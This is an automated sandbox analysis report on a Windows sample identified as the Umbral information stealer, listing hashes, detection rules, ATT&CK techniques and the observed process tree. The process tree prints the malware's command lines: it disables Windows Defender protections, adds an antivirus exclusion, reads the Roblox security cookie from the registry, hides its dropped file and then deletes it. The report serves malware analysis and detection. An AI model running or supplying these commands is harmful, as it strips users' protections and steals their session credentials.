umbral | bf071edf3408e6496ce99865ad5503b710a6f02eba715f3a8ff471672c600e98

Analysis

max time kernel
93s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
18-07-2024 08:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8d053f5224f1e9023174aff9c4a30930N.exe
Size

1.1MB
MD5

8d053f5224f1e9023174aff9c4a30930
SHA1

4780b25f7cde7d9e88d437fc749009471df400c7
SHA256

bf071edf3408e6496ce99865ad5503b710a6f02eba715f3a8ff471672c600e98
SHA512

f065df05bb2057c271fdcc076c29a2dd5bacdade2e1540383d74229b36a4ef9ecd527fe582227055b9aabb79bcc05ee1ed3326ef253c5b79deb0fa92c236007c
SSDEEP

24576:faHMv6CorjSnypQDaG9u1WTI8SvtsyVtG1TOMdRYqcBO:f1vOjlpQDaGjVc

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 3 IoCs

resource	yara_rule
behavioral2/memory/2904-1-0x0000000000590000-0x00000000006B4000-memory.dmp	family_umbral
behavioral2/files/0x0009000000023461-18.dat	family_umbral
behavioral2/memory/1376-30-0x0000020577E60000-0x0000020577EA0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2732	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	explorer.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2636447293-1148739154-93880854-1000\Control Panel\International\Geo\Nation	8d053f5224f1e9023174aff9c4a30930N.exe

Executes dropped EXE 2 IoCs

pid	Process
2620	svchost.exe
1376	explorer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
34	discord.com
35	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
10	ip-api.com

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/memory/2904-1-0x0000000000590000-0x00000000006B4000-memory.dmp	autoit_exe
behavioral2/files/0x0009000000023404-8.dat	autoit_exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
60	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4528	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1376	explorer.exe
2732	powershell.exe
2732	powershell.exe
1516	powershell.exe
1516	powershell.exe
1612	powershell.exe
1612	powershell.exe
928	powershell.exe
928	powershell.exe
3320	powershell.exe
3320	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2620	svchost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1376	explorer.exe
Token: SeIncreaseQuotaPrivilege	1748	wmic.exe
Token: SeSecurityPrivilege	1748	wmic.exe
Token: SeTakeOwnershipPrivilege	1748	wmic.exe
Token: SeLoadDriverPrivilege	1748	wmic.exe
Token: SeSystemProfilePrivilege	1748	wmic.exe
Token: SeSystemtimePrivilege	1748	wmic.exe
Token: SeProfSingleProcessPrivilege	1748	wmic.exe
Token: SeIncBasePriorityPrivilege	1748	wmic.exe
Token: SeCreatePagefilePrivilege	1748	wmic.exe
Token: SeBackupPrivilege	1748	wmic.exe
Token: SeRestorePrivilege	1748	wmic.exe
Token: SeShutdownPrivilege	1748	wmic.exe
Token: SeDebugPrivilege	1748	wmic.exe
Token: SeSystemEnvironmentPrivilege	1748	wmic.exe
Token: SeRemoteShutdownPrivilege	1748	wmic.exe
Token: SeUndockPrivilege	1748	wmic.exe
Token: SeManageVolumePrivilege	1748	wmic.exe
Token: 33	1748	wmic.exe
Token: 34	1748	wmic.exe
Token: 35	1748	wmic.exe
Token: 36	1748	wmic.exe
Token: SeIncreaseQuotaPrivilege	1748	wmic.exe
Token: SeSecurityPrivilege	1748	wmic.exe
Token: SeTakeOwnershipPrivilege	1748	wmic.exe
Token: SeLoadDriverPrivilege	1748	wmic.exe
Token: SeSystemProfilePrivilege	1748	wmic.exe
Token: SeSystemtimePrivilege	1748	wmic.exe
Token: SeProfSingleProcessPrivilege	1748	wmic.exe
Token: SeIncBasePriorityPrivilege	1748	wmic.exe
Token: SeCreatePagefilePrivilege	1748	wmic.exe
Token: SeBackupPrivilege	1748	wmic.exe
Token: SeRestorePrivilege	1748	wmic.exe
Token: SeShutdownPrivilege	1748	wmic.exe
Token: SeDebugPrivilege	1748	wmic.exe
Token: SeSystemEnvironmentPrivilege	1748	wmic.exe
Token: SeRemoteShutdownPrivilege	1748	wmic.exe
Token: SeUndockPrivilege	1748	wmic.exe
Token: SeManageVolumePrivilege	1748	wmic.exe
Token: 33	1748	wmic.exe
Token: 34	1748	wmic.exe
Token: 35	1748	wmic.exe
Token: 36	1748	wmic.exe
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	928	powershell.exe
Token: SeIncreaseQuotaPrivilege	1712	wmic.exe
Token: SeSecurityPrivilege	1712	wmic.exe
Token: SeTakeOwnershipPrivilege	1712	wmic.exe
Token: SeLoadDriverPrivilege	1712	wmic.exe
Token: SeSystemProfilePrivilege	1712	wmic.exe
Token: SeSystemtimePrivilege	1712	wmic.exe
Token: SeProfSingleProcessPrivilege	1712	wmic.exe
Token: SeIncBasePriorityPrivilege	1712	wmic.exe
Token: SeCreatePagefilePrivilege	1712	wmic.exe
Token: SeBackupPrivilege	1712	wmic.exe
Token: SeRestorePrivilege	1712	wmic.exe
Token: SeShutdownPrivilege	1712	wmic.exe
Token: SeDebugPrivilege	1712	wmic.exe
Token: SeSystemEnvironmentPrivilege	1712	wmic.exe
Token: SeRemoteShutdownPrivilege	1712	wmic.exe
Token: SeUndockPrivilege	1712	wmic.exe
Token: SeManageVolumePrivilege	1712	wmic.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2904 wrote to memory of 2620	2904	8d053f5224f1e9023174aff9c4a30930N.exe	87
PID 2904 wrote to memory of 2620	2904	8d053f5224f1e9023174aff9c4a30930N.exe	87
PID 2904 wrote to memory of 2620	2904	8d053f5224f1e9023174aff9c4a30930N.exe	87
PID 2904 wrote to memory of 1376	2904	8d053f5224f1e9023174aff9c4a30930N.exe	88
PID 2904 wrote to memory of 1376	2904	8d053f5224f1e9023174aff9c4a30930N.exe	88
PID 1376 wrote to memory of 1748	1376	explorer.exe	89
PID 1376 wrote to memory of 1748	1376	explorer.exe	89
PID 1376 wrote to memory of 1356	1376	explorer.exe	92
PID 1376 wrote to memory of 1356	1376	explorer.exe	92
PID 1376 wrote to memory of 2732	1376	explorer.exe	94
PID 1376 wrote to memory of 2732	1376	explorer.exe	94
PID 1376 wrote to memory of 1516	1376	explorer.exe	96
PID 1376 wrote to memory of 1516	1376	explorer.exe	96
PID 1376 wrote to memory of 1612	1376	explorer.exe	98
PID 1376 wrote to memory of 1612	1376	explorer.exe	98
PID 1376 wrote to memory of 928	1376	explorer.exe	100
PID 1376 wrote to memory of 928	1376	explorer.exe	100
PID 1376 wrote to memory of 1712	1376	explorer.exe	104
PID 1376 wrote to memory of 1712	1376	explorer.exe	104
PID 1376 wrote to memory of 4356	1376	explorer.exe	106
PID 1376 wrote to memory of 4356	1376	explorer.exe	106
PID 1376 wrote to memory of 2856	1376	explorer.exe	108
PID 1376 wrote to memory of 2856	1376	explorer.exe	108
PID 1376 wrote to memory of 3320	1376	explorer.exe	111
PID 1376 wrote to memory of 3320	1376	explorer.exe	111
PID 1376 wrote to memory of 60	1376	explorer.exe	113
PID 1376 wrote to memory of 60	1376	explorer.exe	113
PID 1376 wrote to memory of 1908	1376	explorer.exe	115
PID 1376 wrote to memory of 1908	1376	explorer.exe	115
PID 1908 wrote to memory of 4528	1908	cmd.exe	117
PID 1908 wrote to memory of 4528	1908	cmd.exe	117

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1356	attrib.exe

C:\Users\Admin\AppData\Local\Temp\8d053f5224f1e9023174aff9c4a30930N.exe
"C:\Users\Admin\AppData\Local\Temp\8d053f5224f1e9023174aff9c4a30930N.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2904
- C:\Users\Admin\AppData\Local\Temp\svchost.exe
  "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  PID:2620
- C:\Users\Admin\AppData\Local\Temp\explorer.exe
  "C:\Users\Admin\AppData\Local\Temp\explorer.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1376
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1748
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\explorer.exe"
    3⤵
    - Views/modifies file attributes
    PID:1356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\explorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:928
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1712
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:4356
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3320
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:60
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\explorer.exe" && pause
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1908
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:4528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
92382908106bf04aac6575ae0e55073f

SHA1
b164dd606b60ada42fe843963f95e14e92d5d86a

SHA256
1332dc373efa610424b48ae9955247275f4f94cfeecec93a5121784ed8d6b3db

SHA512
d6ee3e3776f683b2a4eaf4fd92e2cd2b9412d85fb57556130d8cabf52e180fb17b5dcdfec9ccd0b3b80bed2816c0bd2d25de35580b859e7799b7cb61071edb3f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_auhm0gc3.f05.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\explorer.exe

Filesize
230KB

MD5
98cfd3036140486ef4c019dd72f9afa5

SHA1
97e95eff14ede1be7ae411caa11548e66eeb2c29

SHA256
55885b4252672cea3e51bb8726b9b9a2dd93351f9b563e22ebaa223dd3e85e90

SHA512
f4634d6f9725abb47fd2597a82d4b0fbab2d99cb9a0ad95f23313274515b0a17f3efd3344d7b638a3ed292052c9c010f5c812084b92e37cabdbb0e203bf2e9dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\svchost.exe

Filesize
850KB

MD5
e42d679a626463742b553794dea6f62b

SHA1
789c25a360342fd431dccbf01b831c36aa229317

SHA256
e4a3b0ce536c0996082311077ac65a096d9e6bbf404c6e6a155ecefb32e864c5

SHA512
9ff1ea63334ab8dc3b81edfd572c0e1a7483ac6912255c839aafbba88e0aa19334c2810966384f7998af697dcb9e4ee502cec276a11108c2f0f9510e2aa67279

Download Submit
memory/1376-26-0x00007FF89F2A3000-0x00007FF89F2A5000-memory.dmp

Filesize
8KB

Download
memory/1376-30-0x0000020577E60000-0x0000020577EA0000-memory.dmp

Filesize
256KB

Download
memory/1376-62-0x000002057A5B0000-0x000002057A626000-memory.dmp

Filesize
472KB

Download
memory/1376-63-0x000002057A630000-0x000002057A680000-memory.dmp

Filesize
320KB

Download
memory/1376-64-0x000002057A550000-0x000002057A56E000-memory.dmp

Filesize
120KB

Download
memory/1376-100-0x000002057A530000-0x000002057A53A000-memory.dmp

Filesize
40KB

Download
memory/1376-101-0x000002057A590000-0x000002057A5A2000-memory.dmp

Filesize
72KB

Download
memory/2732-41-0x000001492E4D0000-0x000001492E4F2000-memory.dmp

Filesize
136KB

Download
memory/2904-0-0x00000000746AE000-0x00000000746AF000-memory.dmp

Filesize
4KB

Download
memory/2904-2-0x0000000005050000-0x00000000050EC000-memory.dmp

Filesize
624KB

Download
memory/2904-1-0x0000000000590000-0x00000000006B4000-memory.dmp

Filesize
1.1MB

Download